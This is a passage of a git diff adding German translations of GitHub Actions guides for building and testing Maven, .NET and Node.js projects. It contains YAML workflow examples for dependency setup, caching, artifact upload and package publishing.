+
+Du solltest mit YAML und der Syntax für {% data variables.product.prodname_actions %} vertraut sein. Weitere Informationen finden Sie unter
+- [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)
+- [Informationen zu {% data variables.product.prodname_actions %}](/actions/learn-github-actions)
+
+Du solltest ein grundlegendes Verständnis von Java und dem Framework Maven haben. Weitere Informationen findest du in der Maven-Dokumentation im [Maven-Leitfaden zu den ersten Schritten](http://maven.apache.org/guides/getting-started/index.html).
+
+{% data reusables.actions.enterprise-setup-prereq %}
+
+## Verwenden des Maven-Startworkflows
+
+{% data variables.product.prodname_dotcom %} bietet einen Maven-Startworkflow, der für die meisten Maven-basierten Java-Projekte funktioniert. Weitere Informationen findest du unter [Maven-Startworkflow](https://github.com/actions/starter-workflows/blob/main/ci/maven.yml).
+
+Um schnell loszulegen, kannst du beim Erstellen eines neuen Workflows den vorkonfigurierten Maven-Startworkflow auswählen. Weitere Informationen findest du in der [Schnellstartanleitung für {% data variables.product.prodname_actions %}](/actions/quickstart).
+
+Du kannst diesen Workflow auch manuell hinzufügen, indem du eine neue Datei im Verzeichnis `.github/workflows` deines Repositorys erstellst.
+
+```yaml{:copy}
+name: Java CI
+
+on: [push]
+
+jobs:
+  build:
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Set up JDK 11
+        uses: {% data reusables.actions.action-setup-java %}
+        with:
+          java-version: '11'
+          distribution: 'adopt'
+      - name: Build with Maven
+        run: mvn --batch-mode --update-snapshots package
+```
+
+Dieser Workflow führt die folgenden Schritte aus:
+
+1. Im Schritt `checkout` wird eine Kopie deines Repositorys auf den Runner heruntergeladen.
+2. Im Schritt `setup-java` wird das Java 11-JDK von Adoptium konfiguriert.
+3. Der Schritt „Mit Maven erstellen“ führt das Maven-`package`-Ziel im nicht interaktiven Modus aus, um sicherzustellen, dass dein Code erstellt wird, Tests erfolgreich durchgeführt werden und ein Paket erstellt werden kann.
+
+Die Standardstartworkflows sind ausgezeichnete Ausgangspunkte beim Erstellen von Build- und Testworkflows, und du kannst den Startworkflow den Anforderungen deines Projekts anpassen.
+
+{% data reusables.actions.example-github-runner %}
+
+{% data reusables.actions.java-jvm-architecture %}
+
+## Deinen Code bauen und testen
+
+Du kannst die gleichen Befehle verwenden, die du auch lokal verwendest, um deinen Code zu bauen und zu testen.
+
+Der Startworkflow führt standardmäßig das `package`-Ziel aus. In der Standard-Maven-Konfiguration lädt dieser Befehl Abhängigkeiten herunter, baut Klassen, führt Tests durch und paketiert Klassen in ihr verteilbares Format, zum Beispiel eine JAR-Datei.
+
+Wenn du zum Bauen deines Projekts andere Befehle verwenden oder ein anderes Ziel auszuführen möchtest, kannst du dies angeben. Du kannst beispielsweise das `verify`-Ziel ausführen, das in einer Datei _pom-ci.xml_ konfiguriert ist.
+
+```yaml{:copy}
+steps:
+  - uses: {% data reusables.actions.action-checkout %}
+  - uses: {% data reusables.actions.action-setup-java %}
+    with:
+      java-version: '11'
+      distribution: 'adopt'
+  - name: Run the Maven verify phase
+    run: mvn --batch-mode --update-snapshots verify
+```
+
+{% ifversion actions-caching %}
+
+## Abhängigkeiten „cachen“ (zwischenspeichern)
+
+Du kannst deine Abhängigkeiten zwischenspeichern, um die Workflow-Ausführungen zu beschleunigen. Nach einer erfolgreichen Ausführung wird dein lokales Maven-Repository in einem Cache gespeichert. Bei zukünftigen Workflow-Ausführungen wird der Cache wiederhergestellt, so dass Abhängigkeiten nicht aus entfernten Maven-Repositories heruntergeladen werden müssen. Du kannst Abhängigkeiten einfach mithilfe der [`setup-java`-Aktion](https://github.com/marketplace/actions/setup-java-jdk) zwischenspeichern oder die [`cache`-Aktion](https://github.com/actions/cache) für eine benutzerdefinierte und erweiterte Konfiguration verwenden.
+
+```yaml{:copy}
+steps:
+  - uses: {% data reusables.actions.action-checkout %}
+  - name: Set up JDK 11
+    uses: {% data reusables.actions.action-setup-java %}
+    with:
+      java-version: '11'
+      distribution: 'adopt'
+      cache: maven
+  - name: Build with Maven
+    run: mvn --batch-mode --update-snapshots verify
+```
+
+Dieser Workflow speichert den Inhalt deines lokalen Maven-Repositorys, das sich im Verzeichnis `.m2` des Basisverzeichnisses auf dem Runner befindet. Der Cacheschlüssel ist der Hashinhalt von _pom.xml_, sodass Änderungen an _pom.xml_ den Cache ungültig machen.
+
+{% endif %}
+
+## Workflow-Daten als Artefakte paketieren
+
+Nachdem sowohl Build erfolgreich war und deine Tests bestanden hat, wirst du die resultierenden Java-Pakete als Build-Artefakt hochladen wollen. Dies speichert die gebauten Pakete als Teil der Workflow-Ausführung und ermöglicht Dir, sie herunterzuladen. Artefakte können Dir helfen, Pull-Requests in deiner lokalen Umgebung zu testen und zu debuggen, bevor sie zusammengeführt werden („merge“). Weitere Informationen findest du unter [Speichern von Workflowdaten mithilfe von Artefakten](/actions/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts).
+
+Maven erstellt normalerweise Ausgabedateien wie JARs, EARs oder WARs im Verzeichnis `target`. Um diese als Artefakte hochzuladen, kannst du sie in ein neues Verzeichnis kopieren, welches Artefakte zum Hochladen enthält. Zum Beispiel kannst du ein Verzeichnis namens `staging` erstellen. Anschließend kannst du den Inhalt dieses Verzeichnisses mithilfe der Aktion `upload-artifact` hochladen.
+
+```yaml{:copy}
+steps:
+  - uses: {% data reusables.actions.action-checkout %}
+  - uses: {% data reusables.actions.action-setup-java %}
+    with:
+      java-version: '11'
+      distribution: 'adopt'
+  - run: mvn --batch-mode --update-snapshots verify
+  - run: mkdir staging && cp target/*.jar staging
+  - uses: {% data reusables.actions.action-upload-artifact %}
+    with:
+      name: Package
+      path: staging
+```
diff --git a/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-net.md b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-net.md
new file mode 100644
index 0000000000..46cf96809b
--- /dev/null
+++ b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-net.md
@@ -0,0 +1,247 @@
+---
+title: Erstellen und Testen eines .NET-Projekts
+intro: 'Du kannst einen Continuous-Integration-Workflow (CI) erstellen, um dein .NET-Projekt zu erstellen und zu testen.'
+redirect_from:
+  - /actions/guides/building-and-testing-net
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+shortTitle: Build & test .NET
+ms.openlocfilehash: eadb00516976159f2efffcaa04cb4b46471c527f
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147063618'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+In dieser Anleitung erfährst du, wie du ein .NET-Paket erstellst, testest und veröffentlichst.
+
+{% ifversion ghae %} Zum Erstellen und Testen eines .NET-Projekts auf {% data variables.product.prodname_ghe_managed %} benötigst du das .NET Core SDK. Von {% data reusables.actions.self-hosted-runners-software %} {% else %} {% data variables.product.prodname_dotcom %} gehostete Runner verfügen über einen Toolcache mit vorinstallierter Software, in dem das .NET Core SDK enthalten ist. Eine umfassende Liste mit aktueller Software und den vorinstallierten Versionen von .NET Core SDK findest du unter [Auf {% data variables.product.prodname_dotcom %}-gehosteten Runnern installierte Software](/actions/reference/specifications-for-github-hosted-runners).
+{% endif %}
+
+## Voraussetzungen
+
+Du solltest bereits mit der YAML-Syntax vertraut sein und wissen, wie sie mit {% data variables.product.prodname_actions %} verwendet wird. Weitere Informationen findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions).
+
+Du solltest über grundlegende Kenntnisse in Bezug auf das .NET Core SDK verfügen. Weitere Informationen findest du unter [Erste Schritte mit .NET](https://dotnet.microsoft.com/learn).
+
+## Verwenden des .NET-Starterworkflows
+
+Von {% data variables.product.prodname_dotcom %} wird ein .NET-Starterworkflow bereitgestellt, der für die meisten .NET-Projekte verwendet werden kann. Wie du diesen Starterworkflow anpassen kannst, erfährst du anhand der Beispiele in diesem Leitfaden. Weitere Informationen findest du im [.NET-Starterworkflow](https://github.com/actions/setup-dotnet).
+
+Für einen schnellen Einstieg fügst du den Starterworkflow zum Verzeichnis `.github/workflows` deines Repositorys hinzu.
+
+```yaml
+name: dotnet package
+
+on: [push]
+
+jobs:
+  build:
+
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        dotnet-version: ['3.0', '3.1.x', '5.0.x' ]
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Setup .NET Core SDK {% raw %}${{ matrix.dotnet-version }}{% endraw %}
+        uses: {% data reusables.actions.action-setup-dotnet %}
+        with:
+          dotnet-version: {% raw %}${{ matrix.dotnet-version }}{% endraw %}
+      - name: Install dependencies
+        run: dotnet restore
+      - name: Build
+        run: dotnet build --configuration Release --no-restore
+      - name: Test
+        run: dotnet test --no-restore --verbosity normal
+```
+
+## Angeben einer .NET-Version
+
+Verwende die Aktion `setup-dotnet`, um eine vorinstallierte Version des .NET Core SDK für einen von {% data variables.product.prodname_dotcom %} gehosteten Runner zu verwenden. Mit dieser Aktion wird im Toolcache der jeweiligen Runner nach einer bestimmten Version von .NET gesucht, und die erforderlichen Binärdateien werden zu `PATH` hinzugefügt. Diese Änderungen bleiben für den Rest des Auftrags beibehalten.
+
+Die Aktion `setup-dotnet` wird als Methode zur Verwendung von .NET mit {% data variables.product.prodname_actions %} empfohlen, da damit ein konsistentes Verhalten bei verschiedenen Runnern und verschiedenen Version von .NET gewährleistet wird. Wenn du einen selbst gehosteten Runner verwendest, musst du .NET installieren und zu `PATH` hinzufügen. Weitere Informationen findest du unter der Aktion [`setup-dotnet`](https://github.com/marketplace/actions/setup-net-core-sdk).
+
+### Verwenden mehrerer .NET-Versionen
+
+```yaml
+name: dotnet package
+
+on: [push]
+
+jobs:
+  build:
+
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        dotnet-version: [ '3.0', '3.1.x', '5.0.x' ]
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Setup dotnet {% raw %}${{ matrix.dotnet-version }}{% endraw %}
+        uses: {% data reusables.actions.action-setup-dotnet %}
+        with:
+          dotnet-version: {% raw %}${{ matrix.dotnet-version }}{% endraw %}
+      # You can test your matrix by printing the current dotnet version
+      - name: Display dotnet version
+        run: dotnet --version
+```
+
+### Verwenden einer bestimmten .NET-Version
+
+Du kannst einen Auftrag so konfigurieren, dass eine bestimmte Version von .NET verwendet wird, z. B. `3.1.3`. Alternativ kannst du auch Syntax für semantische Versionierung verwenden, um die neuste Nebenversion abzurufen. In diesem Beispiel wird die neueste Nebenversion von .NET 3 verwendet.
+
+```yaml
+    - name: Setup .NET 3.x
+      uses: {% data reusables.actions.action-setup-dotnet %}
+      with:
+        # Semantic version range syntax or exact version of a dotnet version
+        dotnet-version: '3.x'
+```
+
+## Installieren von Abhängigkeiten
+
+Auf von {% data variables.product.prodname_dotcom %} gehosteten Runnern ist der Paketmanager NuGet installiert. Du kannst die dotnet-CLI verwenden, um Abhängigkeiten aus der NuGet-Paketregistrierung zu installieren, bevor du deinen Code erstellst und testest. Mit dem folgenden YAML-Code wird beispielsweise das `Newtonsoft`-Paket installiert.
+
+```yaml
+steps:
+- uses: {% data reusables.actions.action-checkout %}
+- name: Setup dotnet
+  uses: {% data reusables.actions.action-setup-dotnet %}
+  with:
+    dotnet-version: '3.1.x'
+- name: Install dependencies
+  run: dotnet add package Newtonsoft.Json --version 12.0.1
+```
+
+{% ifversion actions-caching %}
+
+### Abhängigkeiten „cachen“ (zwischenspeichern)
+
+Du kannst NuGet Abhängigkeiten mithilfe eines eindeutigen Schlüssels zwischenspeichern, mit dem du die Abhängigkeiten für zukünftige Workflows mit der [`cache`](https://github.com/marketplace/actions/cache)-Aktion wiederherstellen kannst. Mit dem folgenden YAML-Code wird beispielsweise das `Newtonsoft`-Paket installiert.
+
+Weitere Informationen findest du unter [Zwischenspeichern von Abhängigkeiten zum Beschleunigen von Workflows](/actions/guides/caching-dependencies-to-speed-up-workflows).
+
+```yaml
+steps:
+- uses: {% data reusables.actions.action-checkout %}
+- name: Setup dotnet
+  uses: {% data reusables.actions.action-setup-dotnet %}
+  with:
+    dotnet-version: '3.1.x'
+- uses: {% data reusables.actions.action-cache %}
+  with:
+    path: ~/.nuget/packages
+    # Look to see if there is a cache hit for the corresponding requirements file
+    key: {% raw %}${{ runner.os }}-nuget-${{ hashFiles('**/packages.lock.json') }}
+    restore-keys: |
+      ${{ runner.os }}-nuget{% endraw %}
+- name: Install dependencies
+  run: dotnet add package Newtonsoft.Json --version 12.0.1
+```
+
+{% note %}
+
+**Hinweis:** Je nach Anzahl der Abhängigkeiten ist es möglicherweise schneller, den Abhängigkeitscache zu verwenden. Bei Projekten mit vielen umfangreichen Abhängigkeiten sollte sich die Leistung erhöhen, da die zum Herunterladen erforderliche Zeit reduziert wird. Bei Projekten mit weniger Abhängigkeiten ist möglicherweise keine signifikante Leistungssteigerung, sondern aufgrund der Art und Weise, wie zwischengespeicherte Abhängigkeiten von NuGet installiert werden, sogar eine geringfügige Leistungsabnahme zu verzeichnen. Die Leistung variiert je nach Projekt.
+
+{% endnote %}
+
+{% endif %}
+
+## Deinen Code bauen und testen
+
+Du kannst die gleichen Befehle verwenden, die du auch lokal verwendest, um deinen Code zu bauen und zu testen. In diesem Beispiel wird veranschaulicht, wie die Befehle `dotnet build` und `dotnet test` in einem Auftrag verwendet werden:
+
+```yaml
+steps:
+- uses: {% data reusables.actions.action-checkout %}
+- name: Setup dotnet
+  uses: {% data reusables.actions.action-setup-dotnet %}
+  with:
+    dotnet-version: '3.1.x'
+- name: Install dependencies
+  run: dotnet restore
+- name: Build
+  run: dotnet build
+- name: Test with the dotnet CLI
+  run: dotnet test
+```
+
+## Workflow-Daten als Artefakte paketieren
+
+Nach Abschluss eines Workflows kannst du die resultierenden Artefakte für die Analyse hochladen. Zum Beispiel kann es notwendig sein, Logdateien, Core Dumps, Testergebnisse oder Screenshots zu speichern. Im folgenden Beispiel wird gezeigt, wie die Aktion `upload-artifact` zum Hochladen von Testergebnissen verwendet werden kann.
+
+Weitere Informationen findest du unter [Speichern von Workflowdaten mithilfe von Artefakten](/github/automating-your-workflow-with-github-actions/persisting-workflow-data-using-artifacts).
+
+```yaml
+name: dotnet package
+
+on: [push]
+
+jobs:
+  build:
+
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        dotnet-version: [ '3.0', '3.1.x', '5.0.x' ]
+
+      steps:
+        - uses: {% data reusables.actions.action-checkout %}
+        - name: Setup dotnet
+          uses: {% data reusables.actions.action-setup-dotnet %}
+          with:
+            dotnet-version: {% raw %}${{ matrix.dotnet-version }}{% endraw %}
+        - name: Install dependencies
+          run: dotnet restore
+        - name: Test with dotnet
+          run: dotnet test --logger trx --results-directory {% raw %}"TestResults-${{ matrix.dotnet-version }}"{% endraw %}
+        - name: Upload dotnet test results
+          uses: {% data reusables.actions.action-upload-artifact %}
+          with:
+            name: {% raw %}dotnet-results-${{ matrix.dotnet-version }}{% endraw %}
+            path: {% raw %}TestResults-${{ matrix.dotnet-version }}{% endraw %}
+          # Use always() to always run this step to publish test results when there are test failures
+          if: {% raw %}${{ always() }}{% endraw %}
+```
+
+## In Paket-Registries veröffentlichen
+
+Du kannst deinen Workflow so konfigurieren, dass das .NET-Paket in einer Paketregistrierung veröffentlicht wird, wenn deine CI-Tests bestanden werden. Du kannst Repositorygeheimnisse verwenden, um alle Token oder Anmeldeinformationen zu speichern, die zum Veröffentlichen deiner Binärdatei erforderlich sind. Im folgenden Beispiel wird ein Paket erstellt und mithilfe von `dotnet core cli` in {% data variables.product.prodname_registry %} veröffentlicht.
+
+```yaml
+name: Upload dotnet package
+
+on:
+  release:
+    types: [created]
+
+jobs:
+  deploy:
+    runs-on: ubuntu-latest
+    permissions:
+      packages: write
+      contents: read
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - uses: {% data reusables.actions.action-setup-dotnet %}
+        with:
+          dotnet-version: '3.1.x' # SDK Version to use.
+          source-url: https://nuget.pkg.github.com/<owner>/index.json
+        env:
+          NUGET_AUTH_TOKEN: {% raw %}${{secrets.GITHUB_TOKEN}}{% endraw %}
+      - run: dotnet build --configuration Release <my project>
+      - name: Create the package
+        run: dotnet pack --configuration Release <my project>
+      - name: Publish the package to GPR
+        run: dotnet nuget push <my project>/bin/Release/*.nupkg
+```
diff --git a/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md
new file mode 100644
index 0000000000..7e42ffd730
--- /dev/null
+++ b/translations/de-DE/content/actions/automating-builds-and-tests/building-and-testing-nodejs.md
@@ -0,0 +1,310 @@
+---
+title: Erstellen und Testen von Node.js-Code
+intro: 'Du kannst einen CI-Workflow (Continuous Integration) erstellen, um dein Node.js-Projekt zu erstellen und zu testen.'
+redirect_from:
+  - /actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions
+  - /actions/language-and-framework-guides/using-nodejs-with-github-actions
+  - /actions/guides/building-and-testing-nodejs
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - CI
+  - Node
+  - JavaScript
+shortTitle: Build & test Node.js
+ms.openlocfilehash: 25e44f1454387a84dd198ea9998d1ebc2f94cfe7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '146179023'
+---
+{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Einführung
+
+Diese Anleitung zeigt Dir, wie du einen Workflow für fortlaufende Integration (CI) erstellen kannst, der Node.js-Code baut und testet. Wenn deine CI-Tests erfolgreich durchlaufen, kannst du deinen Code deployen (bereitstellen) oder ein Paket veröffentlichen.
+
+## Voraussetzungen
+
+Wir empfehlen, dass du ein grundlegendes Verständnis von Node.js, YAML, Workflowkonfigurations-Optionen und die Erstellung einer Workflow-Datei hast. Weitere Informationen finden Sie unter
+
+- [Informationen zu {% data variables.product.prodname_actions %}](/actions/learn-github-actions)
+- [Erste Schritte mit Node.js](https://nodejs.org/en/docs/guides/getting-started-guide/)
+
+{% data reusables.actions.enterprise-setup-prereq %}
+
+## Verwenden des Node.js-Starterworkflows
+
+{% data variables.product.prodname_dotcom %} bietet einen Node.js-Starterworkflow, der für die meisten Node.js-Projekte funktionieren wird. Dieser Leitfaden enthält npm- und Yarn-Beispiele, mit denen du den Starterworkflow anpassen kannst. Weitere Informationen findest du unter [Node.js-Starterworkflow](https://github.com/actions/starter-workflows/blob/main/ci/node.js.yml).
+
+Für einen schnellen Einstieg füge den Starterworkflow zum Verzeichnis `.github/workflows` deines Repositorys hinzu. Beim nachstehenden Workflow wird davon ausgegangen, dass der Standardbranch für dein Repository `main` lautet.
+
+```yaml{:copy}
+name: Node.js CI
+
+on:
+  push:
+    branches: [ main ]
+  pull_request:
+    branches: [ main ]
+
+jobs:
+  build:
+
+    runs-on: ubuntu-latest
+
+    strategy:
+      matrix:
+        node-version: [10.x, 12.x, 14.x, 15.x]
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Use Node.js {% raw %}${{ matrix.node-version }}{% endraw %}
+        uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: {% raw %}${{ matrix.node-version }}{% endraw %}
+      - run: npm ci
+      - run: npm run build --if-present
+      - run: npm test
+```
+
+{% data reusables.actions.example-github-runner %}
+
+## Die Node.js-Version angeben
+
+Der einfachste Weg, eine Node.js-Version anzugeben, bietet die Aktion `setup-node` von {% data variables.product.prodname_dotcom %}. Weitere Informationen findest du unter [`setup-node`](https://github.com/actions/setup-node/).
+
+Von der Aktion `setup-node` wird eine Node.js-Version als Eingabe verwendet und auf dem Runner konfiguriert. Mit dieser Aktion `setup-node` wird im Toolcache der jeweiligen Runner nach einer bestimmten Version von Node.js gesucht, und die erforderlichen Binärdateien werden in `PATH` hinzugefügt, der für den Rest des Auftrags bestehen bleibt. Die Aktion `setup-node` wird als Methode zur Verwendung von Node.js mit {% data variables.product.prodname_actions %} empfohlen, da damit ein konsistentes Verhalten bei verschiedenen Runnern und verschiedenen Version von Node.js gewährleistet wird. Wenn du einen selbst gehosteten Runner verwendest, musst du Node.js installieren und in `PATH` hinzufügen.
+
+Der Starterworkflow umfasst eine Matrixstrategie, die deinen Code mit drei Node.js-Versionen erstellt und testet: 10.x, 12.x, 14.x und 15.x. Das „x“ ist ein Platzhalterzeichen für das neueste Neben- und Patchrelease einer Version. Von jeder im `node-version`-Array angegebenen Version von Node.js wird ein Auftrag erstellt, bei dem dieselben Schritte ausgeführt werden.
+
+Jeder Auftrag kann mithilfe des `matrix`-Kontexts auf den im Matrixarray `node-version` definierten Wert zugreifen. Die Aktion `setup-node` verwendet den Kontext als `node-version`-Eingabe. Die Aktion `setup-node` konfiguriert jeden Auftrag mit einer anderen Node.js-Version, bevor sie den Code erstellt und testet. Weitere Informationen zu Matrixstrategien und Kontexten findest du unter [Workflowsyntax für {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#jobsjob_idstrategymatrix) und [Kontexte](/actions/learn-github-actions/contexts).
+
+```yaml{:copy}
+strategy:
+  matrix:
+    node-version: [10.x, 12.x, 14.x, 15.x]
+
+steps:
+- uses: {% data reusables.actions.action-checkout %}
+- name: Use Node.js {% raw %}${{ matrix.node-version }}{% endraw %}
+  uses: {% data reusables.actions.action-setup-node %}
+  with:
+    node-version: {% raw %}${{ matrix.node-version }}{% endraw %}
+```
+
+Alternativ kannnst du auch mit genauen Node.js-Versionen bauen und testen.
+
+```yaml{:copy}
+strategy:
+  matrix:
+    node-version: [8.16.2, 10.17.0]
+```
+
+Oder du kannst auch mithilfe einer einzelnen Version von Node.js bauen und testen.
+
+```yaml{:copy}
+name: Node.js CI
+
+on: [push]
+
+jobs:
+  build:
+
+    runs-on: ubuntu-latest
+
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - name: Use Node.js
+        uses: {% data reusables.actions.action-setup-node %}
+        with:
+          node-version: '12.x'
+      - run: npm ci
+      - run: npm run build --if-present
+      - run: npm test
+```
+
+Wenn du keine Node.js Version festlegst, verwendet {% data variables.product.prodname_dotcom %} die standardmäßige Node.js Version der Umgebung.
+{% ifversion ghae %} {% data reusables.actions.self-hosted-runners-software %} {% else %} Weitere Informationen findest du unter [Spezifikationen für in {% data variables.product.prodname_dotcom %} gehostete Runner](/actions/reference/specifications-for-github-hosted-runners/#supported-software).
+{% endif %}
+
+## Installieren von Abhängigkeiten
+
+Auf {% data variables.product.prodname_dotcom %}-gehosteten Runnern sind die Abhängigkeitsmanager npm und Yarn installiert. Du kannst npm und Yarn verwenden, um in deinem Workflow Abhängigkeiten zu installieren, bevor du deinen Code kompilierst und testest. Die auf {% data variables.product.prodname_dotcom %} gehosteten Windows- und Linux-Runner haben auch Grunt, Gulp und Bower installiert.
+
+{% ifversion actions-caching %}Du kannst Abhängigkeiten auch im Cache zwischenspeichern, um deinen Workflow zu beschleunigen. Weitere Informationen findest du unter [Zwischenspeichern von Abhängigkeiten zum Beschleunigen von Workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows).{% endif %}
+
+### Beispiel mit npm
+
+Dieses Beispiel installiert die Abhängigkeiten, die in der Datei *package.json* definiert sind. Weitere Informationen findest du unter [`npm install`](https://docs.npmjs.com/cli/install).
+
+```yaml{:copy}
+steps:
+- uses: {% data reusables.actions.action-checkout %}
+- name: Use Node.js
+  uses: {% data reusables.actions.action-setup-node %}
+  with:
+    node-version: '12.x'
+- name: Install dependencies
+  run: npm install
+```
+
+Bei Verwendung von `npm ci` wird die Versionen aus der Datei *package-lock.json* oder *npm-shrinkwrap.json* installiert und verhindert, dass Updates an der Sperrdatei vorgenommen werden. Die Verwendung von `npm ci` ist im Allgemeinen schneller als die Ausführung von `npm install`. Weitere Informationen findest du unter [`npm ci`](https://docs.npmjs.com/cli/ci.html) und [Einführung in `npm ci` für schnellere, zuverlässigere Builds](https://blog.npmjs.org/post/171556855892/introducing-npm-ci-for-faster-more-reliable).
+
+```yaml{:copy}
+steps:
+- uses: {% data reusables.actions.action-checkout %}
+- name: Use Node.js
+  uses: {% data reusables.actions.action-setup-node %}
+  with:
+    node-version: '12.x'
+- name: Install dependencies
+  run: npm ci
+```
+
+### Beispiel mit Yarn
+
+Dieses Beispiel installiert die Abhängigkeiten, die in der Datei *package.json* definiert sind. Weitere Informationen findest du unter [`yarn install`](https://yarnpkg.com/en/docs/cli/install).
+
+```yaml{:copy}
+steps:
+- uses: {% data reusables.actions.action-checkout %}
+- name: Use Node.js
+  uses: {% data reusables.actions.action-setup-node %}
+  with:
+    node-version: '12.x'
+- name: Install dependencies
+  run: yarn
+```
+
+Alternativ kannst du `--frozen-lockfile` übergeben, um die Versionen in der Datei `yarn.lock` zu installieren und Updates an der Datei `yarn.lock` zu verhindern.
+
+```yaml{:copy}
+steps:
+- uses: {% data reusables.actions.action-checkout %}
+- name: Use Node.js
+  uses: {% data reusables.actions.action-setup-node %}
+  with:
+    node-version: '12.x'
+- name: Install dependencies
+  run: yarn --frozen-lockfile
+```
+
+### Beispiel mit einer privaten Registry und Erstellung der Datei .npmrc
+
+{% data reusables.actions.setup-node-intro %}
+
+Um dich bei deiner privaten Registry zu authentifizieren, musst du dein npm-Authentifizierungstoken als Geheimnis speichern. Erstelle beispielsweise ein Repositorygeheimnis namens `NPM_TOKEN`. Weitere Informationen findest du unter [Erstellen und Verwenden verschlüsselter Geheimnisse](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets).
+
+Im folgenden Beispiel enthält das Geheimnis `NPM_TOKEN` das npm-Authentifizierungstoken. Die Aktion `setup-node` konfiguriert die *NPMRC*-Datei, um das npm-Authentifizierungstoken aus der Umgebungsvariable `NODE_AUTH_TOKEN` zu lesen. Wenn du die Aktion `setup-node` zum Erstellen einer *NPMRC*-Datei verwendest, musst du die Umgebungsvariable `NODE_AUTH_TOKEN` mit dem Geheimen festlegen, der dein npm-Authentifizierungstoken enthält.
+
+Verwende vor der Installation von Abhängigkeiten die Aktion `setup-node`, um die *NPMRC*-Datei zu erstellen. Die Aktion hat zwei Eingabeparameter. Der Parameter `node-version` legt die Node.js-Version fest, und der Parameter `registry-url` legt die Standardregistrierung fest. Wenn deine Paketregistrierung Geltungsbereiche verwendet, musst du den Parameter `scope` verwenden. Weitere Informationen findest du unter [`npm-scope`](https://docs.npmjs.com/misc/scope).
+
+```yaml{:copy}
+steps:
+- uses: {% data reusables.actions.action-checkout %}
+- name: Use Node.js
+  uses: {% data reusables.actions.action-setup-node %}
+  with:
+    always-auth: true
+    node-version: '12.x'
+    registry-url: https://registry.npmjs.org
+    scope: '@octocat'
+- name: Install dependencies
+  run: npm ci
+  env:
+    NODE_AUTH_TOKEN: {% raw %}${{ secrets.NPM_TOKEN }}{% endraw %}
+```
+
+Das obige Beispiel erstellt eine *NPMRC*-Datei mit folgendem Inhalt:
+
+```ini
+//registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}
+@octocat:registry=https://registry.npmjs.org/
+always-auth=true
+```
+
+{% ifversion actions-caching %}
+
+### Beispiel zum Zwischenspeichern von Abhängigkeiten im Cache
+
+Du kannst die Abhängigkeiten mithilfe der [Aktion `setup-node`](https://github.com/actions/setup-node) zwischenspeichern und wiederherstellen.
+
+Im folgenden Beispiel werden Abhängigkeiten für npm zwischengespeichert.
+
+```yaml{:copy}
+steps:
+- uses: {% data reusables.actions.action-checkout %}
+- uses: {% data reusables.actions.action-setup-node %}
+  with:
+    node-version: '14'
+    cache: 'npm'
+- run: npm install
+- run: npm test
+```
+
+Im folgenden Beispiel werden Abhängigkeiten für Yarn zwischengespeichert.
+
+```yaml{:copy}
+steps:
+- uses: {% data reusables.actions.action-checkout %}
+- uses: {% data reusables.actions.action-setup-node %}
+  with:
+    node-version: '14'
+    cache: 'yarn'
+- run: yarn
+- run: yarn test
+```
+
+Im folgenden Beispiel werden Abhängigkeiten für pnpm (ab Version 6.10) zwischengespeichert.
+
+```yaml{:copy}
+{% data reusables.actions.actions-not-certified-by-github-comment %}
+
+# NOTE: pnpm caching support requires pnpm version >= 6.10.0
+
+steps:
+- uses: {% data reusables.actions.action-checkout %}
+- uses: pnpm/action-setup@646cdf48217256a3d0b80361c5a50727664284f2
+  with:
+    version: 6.10.0
+- uses: {% data reusables.actions.action-setup-node %}
+  with:
+    node-version: '14'
+    cache: 'pnpm'
+- run: pnpm install
+- run: pnpm test
+```
+
+Wenn du eine benutzerdefinierte Anforderung verwenden oder genauere Steuerungsmöglichkeiten zum Zwischenspeichern benötigst, kannst du die [Aktion `cache`](https://github.com/marketplace/actions/cache) verwenden. Weitere Informationen findest du unter [Zwischenspeichern von Abhängigkeiten zum Beschleunigen von Workflows](/actions/using-workflows/caching-dependencies-to-speed-up-workflows).
+
+{% endif %}
+
+## Deinen Code bauen und testen
+
+Du kannst die gleichen Befehle verwenden, die du auch lokal verwendest, um deinen Code zu bauen und zu testen. Wenn du beispielsweise `npm run build` ausführst, um die in der Datei *package.json* definierten Buildschritte auszuführen, und `npm test`, um deine Testsuite auszuführen, fügst du diese Befehle in der Workflowdatei hinzu.
+
+```yaml{:copy}
+steps:
+- uses: {% data reusables.actions.action-checkout %}
+- name: Use Node.js
